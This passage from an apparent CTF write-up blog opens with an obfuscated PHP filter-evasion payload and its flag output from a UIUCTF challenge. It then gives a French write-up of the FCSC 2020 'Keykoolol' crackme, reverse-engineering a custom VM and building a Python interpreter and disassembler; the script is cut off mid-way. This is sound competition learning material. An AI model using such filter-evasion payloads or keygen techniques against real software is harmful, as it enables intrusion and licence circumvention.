(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^(((9^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9)))))^((((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^(9^9))).(.9))).(((((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((9).(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((((9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(((((((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9))).(.9)))^(9^9))^(((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))^(9^9))^(9^9))^(9^9))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9).(.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))).(.9)))^(9^9))).(.9)))^(((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9).(.9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))^99).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))).(.9)))^(9^9))).(.9))).(.9))))((((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(((.9).(9)^(9).(9)))^(9^9))^(99^(9^9))).(.9)))^(((9^(9^9))^((((9.9).(9)^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^((((9999999999999999999).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9)))).(.9)))^(((99.9).(9))^(((.9).(9)^(9).(9))^((.9).(9)^(9).(9))))^(9^9))).(.9))))))))
36374
<?php /* uiuctf{pl3as3_n0_m0rE_pHpee_9f4e3058} */ ?>
No flag for you!
70
"""
```


# 2020


# FCSC Prequals 2020

J'ai participé dans la catégorie *Senior* aux épreuves de préselection individuelles du **France Cyber Security Challenge 2020**, qui ont duré du 24 avril au 4 mai, où je me suis qualifié pour la finale nationale qui a eu lieu en juin et où j'ai fini 2ème.


# Keykoolol (reverse, 500)

## Description du challenge

```
On vous demande d'écrire un générateur d'entrées valides pour ce binaire, puis de le valider sur les entrées fournies par le service distant afin d'obtenir le flag.

Service : nc challenges2.france-cybersecurity-challenge.fr 3000
```

## Solution

Ce crackme était une aventure intense et pleine de rebondissements. J'ai du passer environ 8 heures non-stop dessus pour le résoudre. Il y a probablement quelques cracks qui l'ont poutrée beaucoup plus vite, donc je suis curieux de connaître les méthodes qui permettaient d'accélérer le processus de résolution. Quoi qu'il en soit, je suis fier de constater le fruit de mon acharnement et de ma persévérance sur cette longue épreuve !

Rentrons dans le vif du sujet : on nous donne un ELF 64 bits qui nous demande un *username* ainsi qu'un *serial* associé :

```
$ ./keykoolol
[+] Username: abc
[+] Serial:   0123
[!] Incorrect serial.
```

Lançons le binaire dans Ghidra. La fonction *main* ne paraît pas dépaysante, ce qui est rassurant.

```c
undefined8 FUN_00100730(void)

{
  char cVar1;
  size_t sVar2;
  ulong uVar3;
  ulong uVar4;
  char *__s;
  long in_FS_OFFSET;
  byte bVar5;
  char local_420 [512];
  char local_220 [512];
  long local_20;

  bVar5 = 0;
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  __printf_chk(1,"[+] Username: ");
  fgets(local_420,0x200,stdin);
  sVar2 = strcspn(local_420,"\n");
  local_420[sVar2] = 0;
  __printf_chk(1,"[+] Serial:   ");
  fgets(local_220,0x200,stdin);
  sVar2 = strcspn(local_220,"\n");
  local_220[sVar2] = 0;
  uVar3 = 0xffffffffffffffff;
  __s = local_220;
  do {
    if (uVar3 == 0) break;
    uVar3 = uVar3 - 1;
    cVar1 = *__s;
    __s = __s + (ulong)bVar5 * -2 + 1;
  } while (cVar1 != 0);
  uVar4 = 0xffffffffffffffff;
  __s = local_420;
  do {
    if (uVar4 == 0) break;
    uVar4 = uVar4 - 1;
    cVar1 = *__s;
    __s = __s + (ulong)bVar5 * -2 + 1;
  } while (cVar1 != 0);
  uVar3 = FUN_0010096a(&DAT_001024e0,0x400,local_420,~uVar4 - 1,local_220,~uVar3 - 1);
  __s = "[!] Incorrect serial.";
  if ((int)uVar3 != 0) {
    puts("[>] Valid serial!");
    __s = "[>] Now connect to the remote server and generate serials for the given usernames.";
  }
  puts(__s);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}
```

La ligne importante est la suivante, où j'ai renommé les arguments :

```c
r = FUN_0010096a(&DAT_001024e0, 0x400, username, len_username, serial, len_serial);
```

Pour gagner, il faut que cet appel renvoie autre chose que 0. `0x001024e0` est l'adresse d'un grand tableau de 0x400 = 1024 octets hardcodés dans le binaire et qui ne font *a priori* pas encore sens.

On rentre dans la fonction, et là c'est le drame. D'abord, une petite capture du flow graph largement dézoomé sous IDA :

![](https://i.imgur.com/z3iEj6Q.png)

A ce moment-là c'est simple : on baisse les bras et on va tenter d'autres épreuves 😁

Puis on revient à nouveau dessus en se disant qu'elle vaut quand même 500 points et qu'une fois passée l'étape de tout bien lire ce qu'il se passe, elle doit être franchement faisable.

Examinons d'abord le prologue de cette fonction. J'ai renommé *data* la référence au bloc de 1024 octets qui et passé en argument.

```c
bVar16 = 0;
lVar10 = 0x10;
puVar13 = &DAT_00303040;
while (lVar10 != 0) {
  lVar10 = lVar10 + -1;
  *puVar13 = 0;
  puVar13 = puVar13 + 1;
}
lVar10 = 0x200;
uVar11 = (uint)data_len & 0xfffffff0;
puVar13 = &DAT_00303080;
while (lVar10 != 0) {
  lVar10 = lVar10 + -1;
  *puVar13 = 0;
  puVar13 = puVar13 + 1;
}
lVar10 = __memcpy_chk(&DAT_00303080,data,data_len,0x800);
_DAT_00303060 = uVar11 + 0x10;
_DAT_00303064 = (uint)username_len;
_DAT_00303068 = uVar11 + 0x20 + (_DAT_00303064 & 0xfffffff0);
uVar9 = (ulong)DAT_0030302c;
bVar4 = false;
puVar14 = (undefined *)((ulong)_DAT_00303060 + lVar10);
while (iVar15 = DAT_00305880, username_len != 0) {
  username_len = username_len + -1;
  *puVar14 = *username;
  username = username + (ulong)bVar16 * -2 + 1;
  puVar14 = puVar14 + (ulong)bVar16 * -2 + 1;
}
_DAT_0030306c = (uint)serial_len;
_DAT_00303070 = _DAT_00303068 + 0x10 + (_DAT_0030306c & 0xfffffff0);
bVar3 = false;
bVar2 = false;
puVar14 = (undefined *)((ulong)_DAT_00303068 + lVar10);
while (uVar11 = DAT_00303030, serial_len != 0) {
  serial_len = serial_len + -1;
  *puVar14 = *serial;
  serial = serial + (ulong)bVar16 * -2 + 1;
  puVar14 = puVar14 + (ulong)bVar16 * -2 + 1;
}
```

Ce qu'il y a à retenir de ce prologue, c'est que :

* Un espace de 0x10 \* 4 = 64 octets nuls est réservé en 0x00303040
* Le contenu de *data* est copié en 0x00303080
* Notre *username* et *serial* sont copiés après le bloc alloué à *data* :
  * *username* est en 0x00303080 + 0x400 + 0x10
  * *serial* est en 0x00303080 + 0x400 + 0x10 + username\_len + 0x20

Ensuite vient ce qui ressemble à un monstrueux *switch case*, qui débute par :

```c
uVar1 = *(uint *)(data_ + (ulong)uVar11);
uVar5 = uVar1 >> 0x18;
```

Le switch case est effectué sur la valeur de *uVar5*. *uVar11* est un compteur, qui avance la plupart du temps de 4 en 4 (on lit des mots de 32 bits à chaque fois donc). Là ça commence à mettre la puce à l'oreille... Je vais renommer *uVar11* "pc", *uVar1* "opcode" et *uVar5* "type" 😁

Voici un court extrait maintenant de quelques entrées du *switch case* :

```c
if (type == 0) {
  (&DAT_00303040)[(ulong)(opcode >> 0x14)] = (&DAT_00303040)[(ulong)(opcode >> 0x10 & 0xf)];
  uVar4 = pc + 4;
}
else {
  if (type == 0x1f) {
    _DAT_00303054 = _DAT_00303054 ^ 0xf7e1560a;
    uVar4 = pc + 4;
  }
  else {
    if (type == 0x20) {
      _DAT_00303048 = _DAT_00303048 ^ 0x6ddc660c;
      uVar4 = pc + 4;
    }
    else {
      if (type == 0x21) {
        _DAT_00303074 = _DAT_00303074 ^ 0x13e40c56;
        uVar4 = pc + 4;
      }
[...]
```

En effet, en fonction de la variable *type*, on va effectuer des opérations différentes, et on va incrémenter le *pc* de 4. Tout est clair dès à présent ; il s'agit là d'une mini machine virtuelle 32 bits qui lit et interprète un jeu d'instructions (qui ressemble un peu à du RISC ?). Le *pc* (Program Counter) donne la position courante dans la lecture de *data* qui n'est rien d'autre que le bytecode du programme que l'on exécute. La zone de 64 octets initialement nuls en 0x00303040 représenta, nous le verrons, les 16 registres du processeur et enfin la zone après les 1024 octets du programme, en 0x00303480, sert à des fins de mémoire (comme une *heap*).

Le type d'un *opcode* est donné par `opcode >> 0x18`, autrement ses 8 bits de poids fort, d'où le *switch case* à 256 entrées.

Analysons l'extrait. Pour type = 0, on prend `opcode >> 0x14` et `opcode >> 0x10 & 0xf`, autrement dit les 4 bits et 4 bits suivant le type de l'opcode, et ces valeurs (entre 0 et 15 donc en décimal) sont des indices de registres (situés en 0x00303040). Cette instruction effectue donc ce qui s'apparente à un `mov` tel que l'on le noterait en assembleur classique x86 par exemple.

Les autres types (0x1f, 0x20, 0x21) semblent prendre un certain registre donné, et le XORer avec une constante donnée.

En fait, si l'on analyse tout le code, on se rend compte que ces étranges instructions de XOR très arbitraires occupent tous les types de 0x1f à 0xfd, ce qui diminue pas mal le nombre d'instructions réelles. On pourra coder un script pour extraire toutes ces instructions de XOR à partir du code généré par Ghidra.

Quant-aux autres instructions, il convient de les étudier chacune à la main. C'est un travail fastidieux et je vais directement passer à l'explication de l'ISA.

Tout d'abord, on pose quelques notations :

```
type_op  k    m    p    q
00000000 0000 0000 0000 000000000000
-----------------s ssss

s = pour les opérations de shift (5 bits)
. = concaténation de bits
```

Ensuite on détaille chaque type d'opcode. J'appelle `text` la mémoire composée du programme et du *heap*, indicée à partir de zéro (début du programme). La fonction `swap_endianness` change le boutisme d'un mot de 32 bits, par exemple 0x11223344 devient 0x44332211. La fonction `AES` est en réalité l'instruction x86 *aesenc*, qui n'effectue qu'**un seul "round"** de chiffrement (j'ai perdu beaucoup de temps là-dessus !).

```
00 -> reg[k] = reg[m]
01 -> reg[k] = text[reg[m]]
02 -> reg[k] = m.p (8 bits)
03 -> text[reg[k]] = reg[m]
04 -> text[reg[k]] = text[reg[m]]
05 -> text[reg[k]] = m . p (8 bits)
06 -> sauvegarde PC+4; pc = k.m.p.q; (CALL)
07 -> jump_flag = reg[k] - reg[m] (CMP between two registers)
08 -> jump_flag = reg[k] - m.p (CMP with immediate)
09 -> jump to k.m.p.q if jump_flag = 0 (JE)
0a -> jump to k.m.p.q if jump_flag != 0 (JNE)
0b -> reg[k] = reg[k] + reg[m]
0c -> reg[k] = reg[k] + m.p
0d -> reg[k] = reg[k] * reg[m]
0e -> reg[k] = reg[k] * m.p
0f -> reg[k] += 1
10 -> reg[k] = reg[k] % reg[m]
11 -> reg[k] = reg[k] % m.p
12 -> reg[k] = reg[k] ^ reg[m]
13 -> reg[k] = reg[k] ^ m.p
14 -> jump to k.m.p.q if jump_flag < 0 (JL)
15 -> jump to k.m.p.q if jump_flag > 0 (JG)
16 -> reg[k] = reg[k] - reg[m]
17 -> reg[k] = reg[k] - m.p
18 -> jump to k.m.p.q
19 -> reg[k] = reg[k] >> s
1a -> reg[k] = PC + 4
1b -> reg[k] = swap_endianness(text[reg[m]])
1c -> text[reg[k]] = swap_endianness(reg[m])
1d -> reg[k] = reg[k] << s
1e -> text[reg[k]] = AES(text[reg[m]], text[reg[p]])
1f -> fd : reg[something] ^= some hardcoded value
fe -> récupère l'adresse de retour et jump (RET)
ff -> fin du prog et retourne reg[0]
```

Bon, eh bien il semblerait que nous avons maintenant toutes les clés en main pour... s'amuser à coder un interpréteur, ainsi qu'un désassembleur !

Je passe sur les détails et je vous montre directement mon script. Cela allant de soi, la résolution ne se déroulant pas comme voulue, il a fallu aussi coder un débugger minimaliste (affichage des registres, de la mémoire et des breakpoints).

```python
from binascii import hexlify as tohex, unhexlify as unhex
import re, struct, sys
import aes as crypto # Tiré de https://github.com/p4-team/crypto-commons/blob/master/crypto_commons/symmetrical/aes.py

disassembly_mode = False
debug_mode = False

if len(sys.argv) > 1 and sys.argv[1] == '--disassembly':
  disassembly_mode = True
if len(sys.argv) > 1 and sys.argv[1] == '--debug':
  debug_mode = True
  disassembly_mode = True

decode = lambda u: (u[3] << 24) | (u[2] << 16) | (u[1] << 8) | u[0]

# Contient un dump du C généré par Ghidra pour la fonction principale
code = open('code.txt', 'r').read()

code = code.replace(' ', '').replace('\t', '').replace('\n', '')
s = re.findall(r'if\(type\_op\=\=((?:0x)?[0-9a-f]{1,3})\)\{(?:\_)?DAT\_003030[0-9a-f]{2}\=(?:\_)?DAT\_003030([0-9a-f]{2})\^0x([0-9a-f]{1,8})\;', code)

xor_opcodes = {}
for opcode, reg_i, magic in s:
  xor_opcodes[eval(opcode)] = ((int(reg_i, 16) - 0x40) // 4, int(magic, 16))

def dis(pc, ins):
  print('{:04x}'.format(pc) + ' ' + ins)

def read(text, offset):
  return decode(text[offset:offset + 4])

def read128(text, offset):
  return b''.join(bytes([text[offset + i]]) for i in range(16))

def write(text, offset, value):
  text[offset] = value & 0xff
  text[offset + 1] = (value >> 8) & 0xff
  text[offset + 2] = (value >> 16) & 0xff
  text[offset + 3] = (value >> 24) & 0xff

def write_bytes(text, offset, value):
  for i in range(len(value)):
    text[offset + i] = value[i]

def swap(x):
  return ((x & 0xff) << 24) | (((x >> 8) & 0xff) << 16) | (((x >> 16) & 0xff) << 8) | ((x >> 24) & 0xff)

text = "6e 18 b0 17 c9 f5 bf 08 74 00 00 0a 37 52 0a 00 98 95 1c 00 74 03 00 06 88 1c 00 08 74 00 00 0a 3f 9e 08 00 56 94 1c 00 ad 06 18 0c c6 0f 20 02 88 02 00 06 89 97 0c 00 7c 02 08 0c c9 73 1c 00 5b 00 19 0c 7c 00 00 06 fa 1b 0c 00 f7 01 10 00 a7 f3 1f 0c 4b 19 10 0c fc 00 00 06 5a 41 0c 00 09 95 1c 00 8e 08 18 0c 28 0b 26 02 e8 02 00 06 64 34 7b ff 05 0c 00 02 af b4 68 ff de 24 f2 1a 05 88 f4 0c fd 5c dd 12 c0 49 df 13 b9 82 d0 1d 5a 3a de 13 ea 8f d0 1d c1 2f dd 13 37 86 d0 1d c0 1f dc 13 02 c4 ef 1b 64 91 ed 12 0a 33 fe 1c db 8a e1 1d 40 81 e1 19 28 fe e7 08 c8 00 00 15 1a 46 f0 0c a4 00 00 18 be e2 e2 c3 b8 2b f2 c1 04 a2 f0 c0 29 de f2 cf c7 18 fd d2 c1 5b c0 c2 f5 30 e5 ce 4c ec e7 c9 0c e3 d2 c8 fc d7 d9 ce 08 b2 cf ce 38 e3 d2 d9 5e 3d 4c 3f 4e 65 ff 1a c0 85 f4 0c eb 87 dd 12 bf 15 da 13 f2 82 d0 1d c3 2c db 13 be 80 d0 1d f0 32 dc 13 1c 8d d0 1d 88 49 dd 13 6f 26 ef 1b 54 13 ed 12 1f ad fe 1c cc 8d e1 1d d8 80 e1 19 23 f2 e7 08 48 01 00 15 44 44 f0 0c 24 01 00 18 11 07 a3 d4 ab bd a5 d8 54 f2 b3 d4 54 bb 33 d6 44 b0 93 d6 66 8d 83 d4 7a 9c 86 df a5 59 f7 d5 03 a0 82 d4 0d b4 86 df d6 f6 80 d7 21 2b 96 db 27 b5 92 dc 25 b3 c3 dd fd b3 c3 cc 75 78 f3 d4 97 b8 f6 d8 3a f3 83 d4 c0 13 94 d4 9b f2 90 ca d2 81 f3 d4 35 bf f7 d8 39 99 85 d4 37 b8 82 d8 b9 e4 94 d4 51 ba 96 d8 50 f4 90 ca 9e 13 f3 d4 19 bd f0 d8 51 33 85 d4 aa be 82 d8 dd 87 94 d4 27 be 97 d8 53 fc 90 ca 7b e7 f3 d4 15 b4 f1 d8 b5 e9 83 d4 63 b1 80 d8 35 d9 94 d4 a6 bc 90 d8 20 fc 90 ca f1 b8 f3 d4 c0 bd f2 d8 41 b3 85 d4 cb 4c 94 d4 d9 b6 91 d8 d1 f0 90 ca 83 17 f2 d4 b7 87 85 d4 e6 65 94 d4 36 b3 92 d8 ff f9 90 ca 31 7c 34 db 6d b3 31 dc 89 b0 c3 dd f9 b3 c3 cc 83 ee 5a 2a 34 f0 0f 0f 85 eb 02 0f 7f 82 0a 0f 44 7d 00 0f 9a 88 03 0f 1a ba 0f 0f 8b 89 0f 0f f4 2d 09 0f 97 0a 08 0f 66 55 0f 0f b3 23 0c 0f fb d6 0b 0f 33 83 09 0f 3f 94 0a 0f e3 c1 00 0f 5f c8 00 0f 88 d4 07 0f 23 5c 06 0f 43 de 0e 0f 25 fa af 62 7c 94 2c cf 8d a5 9c bc 67 70 de f4 c6 7e 70 01 e2 0c 70 08 98 02 00 0a e4 02 00 18 c5 0c 60 02 9b 85 37 00 54 65 36 0b 58 d6 30 0e e7 50 32 13 4b f6 3f 11 9c 4d 46 00 a3 a9 42 0b a6 06 41 11 7e 8a 41 0b f5 ff 54 01 0e 42 53 12 65 92 45 03 57 e2 69 0f ac 0e 61 08 9c 02 00 0a 7c ca 07 0f 99 f1 25 0f 88 02 00 06 fe 32 5b fe e8 59 fd 1a 2f 83 f4 0c 27 b8 dd 12 b0 a8 da 13 36 82 d0 1d 6b bc db 13 b5 84 d0 1d 28 cb dc 13 de 88 d0 1d 39 d2 dd 13 37 3d ef 1b e5 59 ed 12 0c 7d fe 1c 5e 89 e1 1d 74 8f e1 19 c9 f6 e7 08 34 03 00 15 16 4a f0 0c 10 03 00 18 9f bb fc df 30 78 8c dd 32 dc 9d dd b8 dd 8f d6 ad 2c 9f d6 da 35 88 dc 59 b0 99 dc 14 fe 89 da c6 b8 cc d7 81 24 fa d2 f9 6a fe da 92 b8 cc d7 56 ae cc df da b8 cc c5 dd b1 cc df e5 79 c6 23 36 01 30 02 01 c9 20 00 0a 27 23 0b 5f 56 22 01 1c 09 20 08 f0 03 00 09 af 99 23 08 a4 03 00 15 89 09 23 08 f8 03 00 14 7c 08 23 17 b8 03 00 18 68 67 26 08 f8 03 00 15 3e 17 26 08 f8 03 00 14 f9 73 25 17 3a 47 43 00 25 22 40 11 a4 1c 40 08 d4 03 00 09 b5 0c 21 0e 86 93 52 00 e8 03 00 18 29 d6 25 12 59 80 43 00 55 19 40 19 b6 02 41 0b c3 39 42 03 d7 54 35 0f 78 03 00 18 1b 13 00 02 fc 03 00 18 dc 00 00 02 a0 a1 31 fe"
text = [int(x, 16) for x in text.split(' ')]

reg = [0] * 16

if debug_mode or not disassembly_mode:
  username = input('Username: ').encode()
  serial = input('Serial: ').encode()

  text += [0] * 0x400 # Heap

  write_bytes(text, 0x400 + 0x20 + 0x10, serial)

  reg[8] = 0x400 + 0x10 # Adresse username
  reg[9] = len(username)
  write_bytes(text, reg[8], username)

  reg[10] = 0x400 + 0x20 + (reg[9] & 0xfffffff0) # Adresse serial
  reg[11] = len(serial)
  write_bytes(text, reg[10], serial)

  reg[12] = reg[10] + 0x10 + (reg[11] & 0xfffffff0) # Adresse something

pc = 0
save_pc = []
jump_flag = 0

breakpoints = []
no_stop = False

while (debug_mode or not disassembly_mode) or (pc < len(text)):
  type_op = decode(text[pc:pc + 4])
  opcode = type_op >> 24
  k = (type_op >> 20) & 0xf
  m = (type_op >> 16) & 0xf
  p = (type_op >> 12) & 0xf
  q = type_op & 0xfff
  kmpq = type_op & 0xffffff
  imm = (m << 4) | p
  s = (type_op >> 0xc) & 0x1f

  if no_stop and pc in breakpoints:
    no_stop = False

  if debug_mode and not no_stop:
    print("Regs: %s" % (','.join('{:08x}'.format(_) for _ in reg)))
    print("Heap: %s" % tohex(bytes(text[0x400:0x400+0x300])))

  if opcode == 0x00:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov r%s, r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] = reg[m]
    pc += 4

  elif opcode == 0x01:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov r%s, (char) [r%s]' % (k, m))
    if debug_mode or not disassembly_mode:
      reg[k] = read(text, reg[m]) & 0xff
    pc += 4

  elif opcode == 0x02:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov r%s, %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      reg[k] = imm
    pc += 4

  elif opcode == 0x03:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov [r%s], (char) r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      write_bytes(text, reg[k], bytes([reg[m] & 0xff]))
    pc += 4

  elif opcode == 0x04:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov [r%s], [r%s]' % (k, m))
    if debug_mode or not disassembly_mode:
      write(text, reg[k], read(text, reg[m]))
    pc += 4

  elif opcode == 0x05:
    if disassembly_mode and not no_stop:
      dis(pc, 'mov [r%s], (char) %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      write_bytes(text, reg[k], bytes([reg[m] & 0xff]))
    pc += 4

  elif opcode == 0x06:
    if disassembly_mode and not no_stop:
      dis(pc, 'call %s' % ('{:04x}'.format(kmpq)))
      pc += 4
    if debug_mode or not disassembly_mode:
      save_pc.append(pc + 4)
      pc = kmpq

  elif opcode == 0x07:
    if disassembly_mode and not no_stop:
      dis(pc, 'cmp r%s, r%s' % (k, m))
    if debug_mode or not disassembly_mode:
      jump_flag = reg[k] - reg[m]
    pc += 4

  elif opcode == 0x08:
    if disassembly_mode and not no_stop:
      dis(pc, 'cmp r%s, %s' % (k, imm))
    if debug_mode or not disassembly_mode:
      jump_flag = reg[k] - imm
    pc += 4

  elif opcode == 0x09:
    if disassembly_mode and not no_stop:
      dis(pc, 'je %s' % ('{:04x}'.format(kmpq)))
      if not debug_mode:
        pc += 4
    if debug_mode or not disassembly_mode:
      if jump_flag == 0:
        pc = kmpq
      else:
        pc += 4

  elif opcode == 0x0a:
